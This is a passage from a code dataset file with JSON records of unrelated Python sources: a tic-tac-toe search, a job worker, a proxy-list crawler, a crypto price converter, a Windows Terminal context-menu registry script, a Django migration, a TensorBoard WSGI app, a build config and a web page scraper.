evaluation(best_list):\n best_list = te[0]\n best_one = te[1]\n return best_one\n for te in all_go(temp,who):\n for tee in all_go(te[0],who*-1):\n if best_list is None:\n best_list = tee[0]\n best_one = te[1]\n else:\n if evaluation(tee[0]) < evaluation(best_list) :\n best_list = tee[0]\n best_one = te[1]\n return best_one\n\ndef is_danger(now_chess,who=0):\n \"\"\"\n 判断自己是否处于危险状态(即 对手可能已经差一子赢局)\n \"\"\"\n temp = now_chess[:]\n for te in all_go(temp,who*-1):\n if is_win(te[0],who*-1) == who*-1:\n return te[1]\n return -1\n\nif __name__ == \"__main__\":\n \"\"\"\n 测试用\n \"\"\"\n chess = [0,0,0,\\\n 0,1,0,\\\n 0,0,0]\n #print(get_next_old(chess,-1,1))\n #print(all_go(chess,1))\n print(get_next_o(chess,-1))\n","sub_path":"实验/实验二-启发算法求解井字棋/201621123080 实验二/chess.py","file_name":"chess.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"101883614","text":"import signal\nimport abc\nfrom .appconfig import App, ConfigContainer\nfrom traceback import print_exc\n\n\nclass JobHandler(abc.ABC):\n methods = {}\n\n def __init__(self):\n self.queue_name = \"queue_name\"\n self.config_container = None # type: ConfigContainer\n\n def set_config_container(self, config_container: ConfigContainer):\n self.config_container = config_container\n\n def execute(self, payload):\n pass\n\n @classmethod\n def method(cls, method_name):\n def method_decorator(func):\n cls.methods[func.__qualname__.split('.')[0] + '.' + method_name] = func\n return func\n\n return method_decorator\n\n def exec_method(self, method_name, payload):\n m_key = self.__class__.__name__ + \".\" + method_name\n if m_key not in self.methods:\n raise Exception(\"Method '%s' is not defined in class '%s'\" % (method_name, self.__class__.__name__))\n return self.methods[m_key](self, payload)\n\n\nclass AutoInstallable(abc.ABC):\n @abc.abstractmethod\n def install(self):\n pass\n\n\nclass Worker(App):\n def __init__(self, config_path: str, job_handler: JobHandler):\n super().__init__(config_path)\n self.stop = False\n self.job_handler = job_handler\n self.job_handler.set_config_container(self.configuration)\n if isinstance(self.job_handler, AutoInstallable):\n self.job_handler.install()\n\n def register_signal_handlers(self):\n signal.signal(signal.SIGTERM, self.handler)\n signal.signal(signal.SIGHUP, self.handler)\n signal.signal(signal.SIGINT, self.handler)\n\n def handler(self, signum, frame):\n self.stop = True\n print('Signal handler called with signal', signum)\n\n def start(self):\n client = self.configuration.get_service_client()\n while not self.stop:\n payload = client.poll(self.job_handler.queue_name, 1)\n if payload:\n result = self._handle(payload)\n if \"respond_to\" in payload:\n client.respond(payload[\"respond_to\"], result)\n\n def _handle(self, payload):\n try:\n if \"method\" in payload:\n return self.job_handler.exec_method(payload[\"method\"], payload[\"args\"])\n else:\n return self.job_handler.execute(payload[\"args\"])\n except:\n print('-' * 60)\n print_exc()\n print('-' * 60)\n","sub_path":"py/core/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"143275604","text":"MOD = 10 ** 9 + 7\r\n\r\nN = int(input())\r\n\r\ncells = N * 2\r\n\r\nfrom collections import defaultdict\r\ncounts = defaultdict(int)\r\n\r\nfor i in range(1 << cells):\r\n grid = [[0 for x in range(N)] for y in range(2)]\r\n \r\n \r\n for j in range(cells):\r\n if (1 << j) & i:\r\n grid[j // N][j % N] = 1\r\n \r\n count = 0\r\n \r\n for x in range(2):\r\n for y in range(N):\r\n if grid[x][y] == -1: continue\r\n \r\n count += 1\r\n curr = grid[x][y]\r\n stack = [(x, y)]\r\n \r\n while stack:\r\n r, c = stack.pop()\r\n if grid[r][c] != curr: continue\r\n \r\n grid[r][c] = -1\r\n \r\n for dr, dc in ((0, 1), (0, -1), (1, 0), (-1, 0)):\r\n R, C = dr + r, dc + c\r\n if 0 <= R < 2 and 0 <= C < N: stack.append((R, C))\r\n counts[count] += 1\r\n \r\n \r\nprint(counts)\r\n\r\ncount = 0\r\n\r\nfor k, v in counts.items():\r\n count += k * v\r\n \r\nprint(count)\r\n# print((count % MOD) * pow(pow(2, cells, MOD), MOD - 2, MOD) % MOD)","sub_path":"october circuits 2020/expectation.py","file_name":"expectation.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"105309197","text":"import requests\nimport re\nimport logging\nimport time\nimport threading\nfrom bs4 import BeautifulSoup\n\nheaders = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"en-US,en;q=0.5\",\n \"User-Agent\": \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0\"}\n\n\ndef get_current_time():\n timenow = time.strftime('%Y-%m-%d %X', time.localtime())\n return timenow\n\n\ndef crawl():\n result = []\n for page in range(2):\n url = 'https://proxy.coderbusy.com/zh-cn/classical/anonymous-type/highanonymous/p%s.aspx' % (page + 1)\n try:\n html = requests.get(url, headers=headers, timeout=5).text\n table = BeautifulSoup(html, 'lxml').find('table', {'class': 'proxy-server-table'}).find_all('tr')\n except Exception as e:\n print('[%s][Spider][CoderBusy]Error:' % get_current_time(), e)\n continue\n for item in table[1:]:\n try:\n tds = item.find_all('td')\n ip = tds[0].get_text()\n port = tds[1].get_text()\n except:\n continue\n line = ip + ':' + port\n result.append(line.replace('\\r', '').replace('\\n', '').replace('\\t', '').replace(' ', ''))\n print('[%s][Spider][CoderBusy]OK!' % get_current_time(), 'Crawled IP Count:', len(result))\n return result\n\n\nclass SpiderCoderBusy(threading.Thread):\n def __init__(self):\n super(SpiderCoderBusy, self).__init__()\n\n def run(self):\n self.result = crawl()\n\n\nif __name__=='__main__':\n crawl()\n","sub_path":"crawls/ProxyPool/proxy_spiders/spider_coderbusy.py","file_name":"spider_coderbusy.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"402781447","text":"import json\r\nimport requests\r\nfrom config import value\r\n\r\n\r\nclass ConvertionExeption(Exception):\r\n pass\r\n\r\n\r\nclass CryptoConverter():\r\n @staticmethod\r\n def convert(quote: str, base: str, amount: str):\r\n try:\r\n quote_ticket = value[quote]\r\n except KeyError:\r\n raise ConvertionExeption(f'Не удалось обработать валюту: {quote}')\r\n\r\n try:\r\n base_ticket = value[base]\r\n except KeyError:\r\n raise ConvertionExeption(f'Не удалось обработать валюту: {base}')\r\n\r\n try:\r\n amount = float(amount)\r\n except ValueError:\r\n raise ConvertionExeption(f'Не удалось обработать колличество: {amount}')\r\n\r\n r = requests.get(f'https://min-api.cryptocompare.com/data/price?fsym={quote_ticket}&tsyms={base_ticket}')\r\n total_base = json.loads(r.content)[value[base]]\r\n total_base *= float(amount)\r\n return total_base\r\n","sub_path":"clases.py","file_name":"clases.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"178985425","text":"# -*- coding : utf-8 -*-\nimport ctypes\nimport getpass\nimport glob\nimport os\nimport sys\nimport time\n\ndef is_admin():\n\treturn ctypes.windll.shell32.IsUserAnAdmin() != 0\n\ndef get_icon_path():\n\ticon_path = glob.glob('C:/Program Files/WindowsApps/Microsoft.WindowsTerminal*/WindowsTerminal.exe')\n\tif len(icon_path) == 0:\n\t\tprint('找不到图标')\n\t\tsys.exit()\n\telse:\n\t\treturn icon_path[0].replace('\\\\', '/')\n\ndef get_terminal_path():\n\tuser = getpass.getuser()\n\tterminal_path = glob.glob(f'C:\\\\Users\\\\{user}\\\\AppData\\\\Local\\\\Microsoft\\\\WindowsApps\\\\wt.exe')\n\tif len(terminal_path) == 0:\n\t\tprint('找不到Windows Terminal.exe')\n\t\tsys.exit()\n\telse:\n\t\treturn terminal_path[0].replace('\\\\', '\\\\\\\\')\n\ndef render_reg_for_empty_area(text):\n\treg = f'''\n\t[HKEY_CLASSES_ROOT\\Directory\\Background\\shell\\wt]\n\t@=\"{text}\"\n\t\"Icon\"=\"{icon_path},0\"\n\n\t[HKEY_CLASSES_ROOT\\Directory\\Background\\shell\\wt\\command]\n\t@=\"{terminal_path} -d .\"\n\t'''\n\treturn reg\n\ndef render_reg_for_selected_dir(text):\n\treg = f'''\n\t[HKEY_CLASSES_ROOT\\Directory\\shell\\wt]\n\t@=\"{text}\"\n\t\"Icon\"=\"{icon_path},0\"\n\n\t[HKEY_CLASSES_ROOT\\Directory\\shell\\wt\\command]\n\t@=\"{terminal_path} -d %V\"\n\n\t'''\n\treturn reg\n\ndef creat_right_click_menu():\n\ttext = input('请输入右键菜单文字(默认为:在此打开Windows Terminal)\\n')\n\tif text == '':\n\t\ttext = '在此打开Windows Terminal'\n\twith open('wt.reg', 'w') as f:\n\t\tf.writelines('Windows Registry Editor Version 5.00')\n\t\tf.write(render_reg_for_empty_area(text))\n\t\tf.write(render_reg_for_selected_dir(text))\n\tos.system('regedit /s wt.reg')\n\tos.system('del wt.reg')\n\ndef del_right_click_menu():\n\twith open('del-wt.reg', 'w') as f:\n\t\tf.write('Windows Registry Editor Version 5.00\\n')\n\t\tf.write('[-HKEY_CLASSES_ROOT\\Directory\\Background\\shell\\wt]\\n')\n\t\tf.write('[-HKEY_CLASSES_ROOT\\Directory\\shell\\wt]\\n')\n\tos.system('regedit /s del-wt.reg')\n\tos.system('del del-wt.reg')\n\ndef choose_function():\n\tmenu_content = '''Windows Terminal 右键菜单添加脚本\n\t请选择功能:\n\t1.添加菜单\n\t2.删除菜单\n\t3.退出\n\t'''\n\tprint(menu_content)\n\twhile True:\n\t\tchoice = input('请输入功能选项\\n')\n\t\tif choice in ('1', '2', '3'):\n\t\t\treturn int(choice)\n\t\telse:\n\t\t\tprint('输入有误')\n\n\nif __name__ == '__main__':\n\tif is_admin():\n\t\ticon_path = get_icon_path()\n\t\tterminal_path = get_terminal_path()\n\t\tchoice = choose_function()\n\t\tif choice == 1:\n\t\t\tcreat_right_click_menu()\n\t\telif choice == 2:\n\t\t\tdel_right_click_menu()\n\t\telif choice == 3:\n\t\t\tsys.exit()\n\t\tprint('完成')\n\t\tos.system('pause')\n\telse:\n\t\tprint('请以管理员身份运行脚本')\n\t\t","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"504062462","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport colorful.fields\nimport django.contrib.gis.db.models.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='User',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('password', models.CharField(max_length=128, verbose_name='password')),\n ('last_login', models.DateTimeField(null=True, verbose_name='last login', blank=True)),\n ('email', models.EmailField(unique=True, max_length=255, verbose_name=b'email address')),\n ('is_active', models.BooleanField(default=True)),\n ('is_admin', models.BooleanField(default=True)),\n ],\n options={\n 'abstract': False,\n },\n ),\n migrations.CreateModel(\n name='Area',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=400)),\n ('polygon', django.contrib.gis.db.models.fields.PolygonField(srid=4326)),\n ('url', models.CharField(max_length=400)),\n ('color', colorful.fields.RGBColorField(default=b'#123445')),\n ],\n ),\n migrations.CreateModel(\n name='Record',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('device_id', models.CharField(max_length=200)),\n ('location', django.contrib.gis.db.models.fields.PointField(srid=4326)),\n ('timestamp', models.DateTimeField(auto_now_add=True)),\n ],\n ),\n ]\n","sub_path":"gps/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"358416196","text":"import os\nimport re\nimport six\nfrom six.moves.urllib import parse as urlparse\nimport tensorflow as tf\nfrom werkzeug import wrappers\nfrom werkzeug.serving import run_simple\n\nfrom tensorboard.backend.event_processing.event_multiplexer import EventMultiplexer\nfrom tensorboard.backend import http_util\nfrom tensorboard.plugins.core import core_plugin\n\nimport argparse\nfrom greeter_plugin import GreeterPlugin\n\nDATA_PREFIX = '/data'\nPLUGIN_PREFIX = '/plugin'\nPLUGINS_LISTING_ROUTE = '/plugins_listing'\n\n# Slashes in a plugin name could throw the router for a loop. An empty\n# name would be confusing, too. To be safe, let's restrict the valid\n# names as follows.\n_VALID_PLUGIN_RE = re.compile(r'^[A-Za-z0-9_.-]+$')\n\n\ndef _clean_path(path):\n \"\"\"Removes trailing slash if present, unless it's the root path.\"\"\"\n if len(path) > 1 and path.endswith('/'):\n return path[:-1]\n return path\n\n\nclass WSGI_APP(object):\n \"\"\"The TensorBoard WSGI app that delegates to a set of TBPlugin.\"\"\"\n \"\"\"Copy from https://github.com/tensorflow/tensorboard/blob/c82300f188e4d2f4e1e2e029ce4019fd9e89a1e9/tensorboard/backend/application.py \"\"\"\n def __init__(self, plugins):\n \"\"\"Constructs TensorBoardWSGI instance.\n Args:\n plugins: A list of base_plugin.TBPlugin subclass instances.\n Returns:\n A WSGI application for the set of all TBPlugin instances.\n Raises:\n ValueError: If some plugin has no plugin_name\n ValueError: If some plugin has an invalid plugin_name (plugin\n names must only contain [A-Za-z0-9_.-])\n ValueError: If two plugins have the same plugin_name\n ValueError: If some plugin handles a route that does not start\n with a slash\n \"\"\"\n self._plugins = plugins\n\n self.data_applications = {\n # TODO(@chihuahua): Delete this RPC once we have skylark rules that\n # obviate the need for the frontend to determine which plugins are\n # active.\n DATA_PREFIX + PLUGINS_LISTING_ROUTE: self._serve_plugins_listing,\n '/': self._index_route\n }\n\n # Serve the routes from the registered plugins using their name as the route\n # prefix. For example if plugin z has two routes /a and /b, they will be\n # served as /data/plugin/z/a and /data/plugin/z/b.\n plugin_names_encountered = set()\n for plugin in self._plugins:\n if plugin.plugin_name is None:\n raise ValueError('Plugin %s has no plugin_name' % plugin)\n if not _VALID_PLUGIN_RE.match(plugin.plugin_name):\n raise ValueError('Plugin %s has invalid name %r' % (plugin, plugin.plugin_name))\n if plugin.plugin_name in plugin_names_encountered:\n raise ValueError('Duplicate plugins for name %s' % plugin.plugin_name)\n plugin_names_encountered.add(plugin.plugin_name)\n\n try:\n plugin_apps = plugin.get_plugin_apps()\n except Exception as e: # pylint: disable=broad-except\n if type(plugin) is core_plugin.CorePlugin: # pylint: disable=unidiomatic-typecheck\n raise tf.logging.warning('Plugin %s failed. Exception: %s', plugin.plugin_name, str(e))\n continue\n for route, app in plugin_apps.items():\n if not route.startswith('/'):\n raise ValueError('Plugin named %r handles invalid route %r: '\n 'route does not start with a slash' % (plugin.plugin_name, route))\n if type(plugin) is core_plugin.CorePlugin: # pylint: disable=unidiomatic-typecheck\n path = route\n else:\n path = DATA_PREFIX + PLUGIN_PREFIX + '/' + plugin.plugin_name + route\n self.data_applications[path] = app\n\n @wrappers.Request.application\n def _serve_plugins_listing(self, request):\n \"\"\"Serves an object mapping plugin name to whether it is enabled.\n Args:\n request: The werkzeug.Request object.\n Returns:\n A werkzeug.Response object.\n \"\"\"\n return http_util.Respond(\n request,\n {plugin.plugin_name: plugin.is_active() for plugin in self._plugins},\n 'application/json')\n\n @wrappers.Request.application\n def _index_route(self, request):\n \"\"\"serve index.html.\n Args:\n request: The werkzeug.Request object.\n Returns:\n A werkzeug.Response object.\n \"\"\"\n with open('./test.html', 'r') as f:\n html_body = f.read()\n return http_util.Respond(request, html_body, 'text/html')\n\n def __call__(self, environ, start_response): # pylint: disable=invalid-name\n \"\"\"Central entry point for the TensorBoard application.\n This method handles routing to sub-applications. It does simple routing\n using regular expression matching.\n This __call__ method conforms to the WSGI spec, so that instances of this\n class are WSGI applications.\n Args:\n environ: See WSGI spec.\n start_response: See WSGI spec.\n Returns:\n A werkzeug Response.\n \"\"\"\n request = wrappers.Request(environ)\n parsed_url = urlparse.urlparse(request.path)\n clean_path = _clean_path(parsed_url.path)\n # pylint: disable=too-many-function-args\n if clean_path in self.data_applications:\n return self.data_applications[clean_path](environ, start_response)\n else:\n tf.logging.warning('path %s not found, sending 404', clean_path)\n return http_util.Respond(request, 'Not found', 'text/plain', code=404)(environ, start_response)\n #return http_util.Respond(request, 'Not found', 'text/plain', code=404)\n # pylint: enable=too-many-function-args\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--logdir', default='/tmp/greeter_demo')\n parser.add_argument('--port', default=6008, type=int)\n args = parser.parse_args()\n\n multiplexer = EventMultiplexer().AddRunsFromDirectory(args.logdir)\n multiplexer.Reload()\n plugins = [GreeterPlugin(multiplexer)]\n\n app = WSGI_APP(plugins)\n run_simple('0.0.0.0', args.port, app, use_debugger=True, use_reloader=True)\n","sub_path":"test/wsgi_app.py","file_name":"wsgi_app.py","file_ext":"py","file_size_in_byte":6365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"40720709","text":"#\n# Copyright 2017-2023- Swiss Data Science Center (SDSC)\n# A partnership between École Polytechnique Fédérale de Lausanne (EPFL) and\n# Eidgenössische Technische Hochschule Zürich (ETHZ).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Plugin hooks for workflow file parsers.\"\"\"\n\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, List, Tuple, Union\n\nimport pluggy\n\nfrom renku.core import errors\nfrom renku.core.interface.workflow_file_parser import IWorkflowFileParser\n\nif TYPE_CHECKING:\n from renku.core.workflow.model.workflow_file import WorkflowFile\n\n\nhookspec = pluggy.HookspecMarker(\"renku\")\n\n\n@hookspec\ndef workflow_file_parser() -> Tuple[IWorkflowFileParser, str]:\n \"\"\"Plugin Hook to get workflow file parsers.\n\n Returns:\n Tuple[IWorkflowFileParser,str]: A tuple of the parser itself and its name.\n \"\"\"\n raise NotImplementedError\n\n\n@hookspec(firstresult=True)\ndef parse(path: Union[Path, str]) -> \"WorkflowFile\":\n \"\"\"Plugin Hook for parsing workflow files.\n\n Args:\n path(Union[Path, str]): Path to the workflow file to parse.\n\n Returns:\n WorkflowFile: The parsed workflow file instance.\n \"\"\"\n raise NotImplementedError\n\n\ndef get_available_workflow_file_parsers() -> List[str]:\n \"\"\"Returns the currently available workflow file parsers.\n\n Returns:\n The list of available parsers.\n \"\"\"\n from renku.core.plugin.pluginmanager import get_plugin_manager\n\n pm = get_plugin_manager()\n providers = pm.hook.workflow_file_parser()\n return [p[1] for p in providers]\n\n\ndef read_workflow_file(path: Union[Path, str], parser: str = \"renku\") -> \"WorkflowFile\":\n \"\"\"Read a given workflow file using the selected parser.\n\n Args:\n path(Union[Path, str]): Path to the workflow file.\n parser(str): The workflow parser engine to be used (Default value = \"renku\").\n\n Returns:\n WorkflowFile: The parsed workflow file.\n \"\"\"\n from renku.core.plugin.pluginmanager import get_plugin_manager\n\n pm = get_plugin_manager()\n parsers = pm.hook.workflow_file_parser()\n selected_parsers = [p for p in parsers if p[1] == parser]\n\n if not selected_parsers:\n raise errors.ParameterError(f\"The specified workflow parser '{parser}' is not available.\")\n elif len(parsers) > 1:\n raise errors.ParameterError(f\"Multiple parsers found for '{parser}': {selected_parsers}.\")\n\n parsers.remove(selected_parsers[0])\n parse_function = pm.subset_hook_caller(\"parse\", remove_plugins=[p[0] for p in parsers])\n\n return parse_function(path=path)\n","sub_path":"renku/core/plugin/workflow_file_parser.py","file_name":"workflow_file_parser.py","file_ext":"py","file_size_in_byte":3065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"262230444","text":"import cv2 as cv\nimport depthai as dai\nimport numpy as np\n\n# optional flags\nextend_disparity = False\nsubpixel = False\nlr_check = False\n\n# Start defining a pipeline\npipeline = dai.Pipeline()\n\n# Define a source - two momo cams\ncamLeft = pipeline.createMonoCamera()\ncamLeft.setResolution(dai.MonoCameraProperties.SensorResolution.THE_400_P)\ncamLeft.setBoardSocket(dai.CameraBoardSocket.LEFT)\n\ncamRight = pipeline.createMonoCamera()\ncamRight.setResolution(dai.MonoCameraProperties.SensorResolution.THE_400_P)\ncamRight.setBoardSocket(dai.CameraBoardSocket.RIGHT)\n\ncamRgb = pipeline.createColorCamera()\ncamRgb.setPreviewSize(640, 400)\ncamRgb.setInterleaved(False)\ncamRgb.setColorOrder(dai.ColorCameraProperties.ColorOrder.RGB)\n\n# Create a node that will produce the depth map\ndepth = pipeline.createStereoDepth()\ndepth.setConfidenceThreshold(200)\n\n# Set up median filter kernel\nmedian = dai.StereoDepthProperties.MedianFilter.KERNEL_7x7\ndepth.setMedianFilter(median)\n\n# Left-Right check\ndepth.setLeftRightCheck(lr_check)\n\n# Normal disparity values range from 0..95 wil be used for normalisation\nmax_disparity = 95\n\nif extend_disparity:\n max_disparity = max_disparity * 2 # double the range\nif subpixel:\n max_disparity = max_disparity * 32 # 5 fractional bits (2^5)\ndepth.setExtendedDisparity(extend_disparity)\ndepth.setSubpixel(subpixel)\n\n# When we get disparity to the host, we will multiply all values with the multiplier for better visualisation\nmultiplier = 255 / max_disparity\n \ncamLeft.out.link(depth.left)\ncamRight.out.link(depth.right)\n\n# Create output\nxout = pipeline.createXLinkOut()\nxout.setStreamName(\"disparity\")\ndepth.disparity.link(xout.input)\n\nxoutRgb = pipeline.createXLinkOut()\nxoutRgb.setStreamName(\"rgb\")\ncamRgb.preview.link(xoutRgb.input)\n\nxoutLeft = pipeline.createXLinkOut()\nxoutLeft.setStreamName(\"cam_left\")\ncamLeft.out.link(xoutLeft.input)\n\nxoutRight = pipeline.createXLinkOut()\nxoutRight.setStreamName(\"cam_right\")\ncamRight.out.link(xoutRight.input)\n\nwith dai.Device(pipeline) as device:\n qDisparity = device.getOutputQueue(name=\"disparity\", maxSize=4, blocking=False)\n qRgb = device.getOutputQueue(name=\"rgb\", maxSize=4, blocking=False)\n qLrft = device.getOutputQueue(name=\"cam_left\", maxSize=4, blocking=False)\n qRight = device. getOutputQueue(name=\"cam_right\", maxSize=4, blocking=False)\n while True:\n inDepth = qDisparity.get()\n inRgb = qRgb.get()\n inLeft = qLrft.tryGet()\n inRight = qRight.tryGet()\n \n frameDepth = inDepth.getFrame()\n frameDepth = (frameDepth * multiplier).astype(np.uint8)\n frameDepth = cv.applyColorMap(frameDepth, cv.COLORMAP_JET)\n \n frameRgb = inRgb.getCvFrame()\n \n cv.imshow(\"RGB\", frameRgb)\n cv.imshow(\"disparity\", frameDepth)\n\n if inLeft is not None:\n frameLeft = inLeft.getCvFrame()\n if inRight is not None:\n frameRight = inRight.getCvFrame()\n \n if frameLeft is not None:\n cv.imshow(\"left\", frameLeft)\n if frameRight is not None:\n cv.imshow(\"right\", frameRight)\n \n if cv.waitKey(1) == ord('q'):\n device.close()\n break\n\ncv.destroyAllWindows()\ndel pipeline","sub_path":"opencvOak_cameraDemo.py","file_name":"opencvOak_cameraDemo.py","file_ext":"py","file_size_in_byte":3238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"610929500","text":"\n##############################################################################\n#\n# Copyright (c) 2003-2020 by The University of Queensland\n# http://www.uq.edu.au\n#\n# Primary Business: Queensland, Australia\n# Licensed under the Apache License, version 2.0\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Development until 2012 by Earth Systems Science Computational Center (ESSCC)\n# Development 2012-2013 by School of Earth Sciences\n# Development from 2014 by Centre for Geoscience Computing (GeoComp)\n# Development from 2019 by School of Earth and Environmental Sciences\n#\n##############################################################################\n\n# This is a template configuration file for escript on Debian/GNU Linux.\n# Refer to README_FIRST for usage instructions.\n\nescript_opts_version = 203\n#cxx_extra = '-Wno-literal-suffix'\nopenmp = True\n#mpi = 'OPENMPI'\n\nimport os\n\nd_mpi_path = '/usr/include/openmpi'\nmpi_prefix = os.path.split(os.path.realpath(d_mpi_path))[0]\nmpi_libs = ['mpi_cxx', 'mpi']\nnetcdf = 4\numfpack = True\numfpack_prefix = ['/usr/include/suitesparse', '/usr/lib']\numfpack_libs = ['umfpack', 'blas', 'amd']\nlapack_prefix = ['/usr/include/atlas', '/usr/lib/atlas-base']\n#silo = True\nsilo_libs = ['siloh5', 'hdf5_openmpi']\ndudley_assemble_flags = '-funroll-loops'\npythoncmd=\"/usr/bin/python2\"\npythonlibname = 'python2.7'\npythonlibpath = '/usr/lib/x86_64-linux-gnu/'\npythonincpath = '/usr/include/python2.7'\n\nimport subprocess\nimport os\np = subprocess.Popen([\"ld\",\"--verbose\"], stdout=subprocess.PIPE)\nout,err = p.communicate()\nspath = [x[13:-3] for x in out.split() if 'SEARCH_DIR' in x]\np2name = ''\np3name = ''\nfor name in spath:\n try:\n l=os.listdir(name)\n p2res=[x for x in l if x.startswith('libboost_python2') and x.endswith('.so')]\n p3res=[x for x in l if x.startswith('libboost_python3') and x.endswith('.so')]\n if len(p2name)==0 and len(p2res)>0:\n p2name=p2res[-1]\n if len(p3name)==0 and len(p3res)>0:\n p3name=p3res[-1]\n except OSError:\n pass\n\n# boost-python library/libraries to link against\nboost_libs = [p2name[3:-3]]\n\n# this can be used by options files importing us\nboost_py2_libs = [p2name[3:-3]]\nboost_py3_libs = [p3name[3:-3]]\n\nfrom site_init import getdebbuildflags\n# Now we add the debian build flags\ndebstuff = getdebbuildflags()\nif len(debstuff) > 0:\n print(\"Building with the following additional flags from debian: \"+str(debstuff))\nfor i in debstuff:\n k=i[0]\n v=i[1]\n try:\n exec(k+\"+=' \"+v+\"'\")\n except NameError: \n exec(k+\"='\"+v+\"'\")\n\nmathjax_path='/usr/share/javascript/mathjax/MathJax.js'\n","sub_path":"scons/templates/buster_py2_options.py","file_name":"buster_py2_options.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"128357483","text":"import urllib.request\n\nfrom lxml import etree\n\nheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0'}\n\n\nreq = urllib.request.Request(url=url, headers=headers)\nresponse = urllib.request.urlopen(req)\nprint(\"detail\" + str(response))\nhtml = etree.parse(response, etree.HTMLParser())\n\n# html = etree.parse('./3.html', etree.HTMLParser())\nresult = html.xpath(\"//div[@class='article_container row box']\")\narticle = result[0]\nprint('article')\n# 标题\n# print(article[0].text)\ninfo = article[1]\n\n# 分类\n# print(info[1][0].text)\n\n# 日期\n# print(info[2].text)\n# 评论数\n# print(info[4][0].text)\n\nmovie_info = article[3][0]\n\n# 影片名称\n# print(result[0])\n# 影片格式\n# print(result[1])\n# 影片大小\n# print(result[2])\n# 影片时间\n# print(result[3])\n\n# 图片\nresult = html.xpath(\"//div[@id='post_content']/p/img\")\nimages = []\nif len(result):\n for img in result:\n images.append(img.attrib['src'])\nelse:\n result = html.xpath(\"//div[@id='post_content']/p/a\")\n for img in result:\n if \"www.sxotu.com\" in img.attrib['href']:\n req = urllib.request.Request(url=img.attrib['href'], headers=headers)\n response = urllib.request.urlopen(req)\n html_img = etree.parse(response, etree.HTMLParser())\n result = html_img.xpath(\"//figure[@data-am-widget='figure']/img\")\n for r in result:\n images.append('https://www.sxotu.com' + r.attrib['src'])\n elif \"www.skeimg.com\" in img.attrib['href']:\n req = urllib.request.Request(url=img.attrib['href'], headers=headers)\n response = urllib.request.urlopen(req)\n html_img = etree.parse(response, etree.HTMLParser())\n result = html_img.xpath(\"//figure[@data-am-widget='figure']/img\")\n for r in result:\n images.append('https://www.skeimg.com' + r.attrib['src'])\n\nresult = html.xpath(\"//div[@id='post_content']/p[class!='erphpdown-content-vip']/text()\")\nif result:\n print({\n 'name': article[0].text,\n 'category': info[1][0].text,\n 'date': info[2].text,\n 'comment': info[4][0].text,\n 'name_ex': result[0] if len(result) >= 1 else \"\",\n 'video_format': result[1].replace('\\n', '') if len(result) >= 2 else \"\",\n 'video_size': result[2].replace('\\n', '') if len(result) >= 3 else \"\",\n 'video_time': result[3].replace('\\n', '') if len(result) >= 4 else \"\",\n 'images': images\n })\n # return {\n # 'name': article[0].text,\n # 'category': info[1][0].text,\n # 'date': info[2].text,\n # 'comment': info[4][0].text,\n # 'name_ex': result[0] if len(result) >= 1 else \"\",\n # 'video_format': result[1].replace('\\n', '') if len(result) >= 2 else \"\",\n # 'video_size': result[2].replace('\\n', '') if len(result) >= 3 else \"\",\n # 'video_time': result[3].replace('\\n', '') if len(result) >= 4 else \"\",\n # 'images': images\n # }\nelse:\n video_format = ''\n video_size = ''\n video_time = ''\n video_name = ''\n result = html.xpath('//span[contains(text(),\"视频名称\")]')\n if result:\n video_name = result[0].text\n result = html.xpath('//span[contains(text(),\"视频大小\")]')\n if result:\n video_size = result[0].text\n result = html.xpath('//span[contains(text(),\"视频时间\")]')\n if result:\n video_time = result[0].text\n result = html.xpath('//span[contains(text(),\"视频格式\")]')\n if result:\n video_format = result[0].text\n # result = html.xpath('//span[contains(text(),\"视频预览\")]')\n # if result:\n # 